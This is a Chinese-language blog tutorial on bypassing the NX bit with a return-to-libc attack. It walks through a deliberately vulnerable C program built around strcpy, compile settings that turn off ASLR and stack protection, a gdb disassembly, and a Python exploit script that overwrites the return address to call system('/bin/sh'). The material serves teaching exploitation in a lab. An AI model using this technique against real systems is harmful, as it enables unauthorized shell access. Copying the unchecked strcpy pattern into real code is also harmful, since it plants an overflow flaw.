绕过 NX 位

使用Ret2libc绕过 NX 位

Posted by gxkyrftx on February 27, 2019

0.前言

溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。

在前面的探究中,所用的方法都是将shellcode放到栈中,修改返回地址到shellcode的位置,造成任意代码执行。为了阻止攻击者的行动,安全研究人员提出了一个名为“NX 位”的漏洞缓解技术。 NX 位,它是一种利用缓解技术,使某些内存区域不可执行,并使可执行区域不可写。使数据,堆栈和堆段不可执行,而代码段不可写。

在NX 位打开的情况下,基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败!但是这种缓解技术并不完全是万无一失的,可以使用Ret2libc绕过 NX 位

1.环境及工具

虚拟机环境:Ubuntu 12.04 Desktop(x86)

工具:gdb-peda

2.漏洞程序的成因分析

2.1 漏洞代码

一个简单的含有漏洞的代码如下:

//vuln.c

#include <stdio.h>

#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256]; 
 strcpy(buf,argv[1]); 
 printf("%s\n",buf);
 fflush(stdout);  
 return 0;
}

漏洞代码的位置为:strcpy(buf,argv[1])

2.2 编译命令

这次的编译命令需要开启栈保护,同时还需要关闭ASLR,命令如下

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -o vuln vuln.c

此时编译的可执行程序的NX位是开启的,使用checksec工具检查程序信息如下:

1

2.3 调试

直接使用gdb查看main函数的汇编代码

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048464 <+0>: push   ebp
   0x08048465 <+1>: mov    ebp,esp
   0x08048467 <+3>: and    esp,0xfffffff0
   0x0804846a <+6>: sub    esp,0x110
   0x08048470 <+12>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048473 <+15>:    add    eax,0x4
   0x08048476 <+18>:    mov    eax,DWORD PTR [eax]
   0x08048478 <+20>:    mov    DWORD PTR [esp+0x4],eax
   0x0804847c <+24>:    lea    eax,[esp+0x10]
   0x08048480 <+28>:    mov    DWORD PTR [esp],eax
   0x08048483 <+31>:    call   0x8048370 <strcpy@plt>
   0x08048488 <+36>:    lea    eax,[esp+0x10]
   0x0804848c <+40>:    mov    DWORD PTR [esp],eax
   0x0804848f <+43>:    call   0x8048380 <puts@plt>
   0x08048494 <+48>:    mov    eax,ds:0x804a020
   0x08048499 <+53>:    mov    DWORD PTR [esp],eax
   0x0804849c <+56>:    call   0x8048360 <fflush@plt>
   0x080484a1 <+61>:    mov    eax,0x0
   0x080484a6 <+66>:    leave  
   0x080484a7 <+67>:    ret    
End of assembler dump.

2.4 程序整体的栈布局大致如下

指针
 
argv  
argc  
Return Address  
调用者的ebp ebp
对齐空间  
对齐空间  
  buf_end
 
  buf_start
esp

3.编写exp

可以使用叫做“return-to-libc”的攻击技术绕过NX 位。这里返回地址被一个特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用system地址覆盖返回地址,并在堆栈中设置system所需的相应参数,以便成功调用它。

下断点,运行

2

随后,找到system,exit,“/bin/sh”的地址

3

然后编写exp python代码如下:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0xb7e63170       
exit = 0xb7e58fc0         

system_arg = 0xb7f82be3   

def conv(num):
 return struct.pack("<I",num)
buf="A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])

4

可以看到通过执行exp成功获取了系统的root权限。


本文访问量: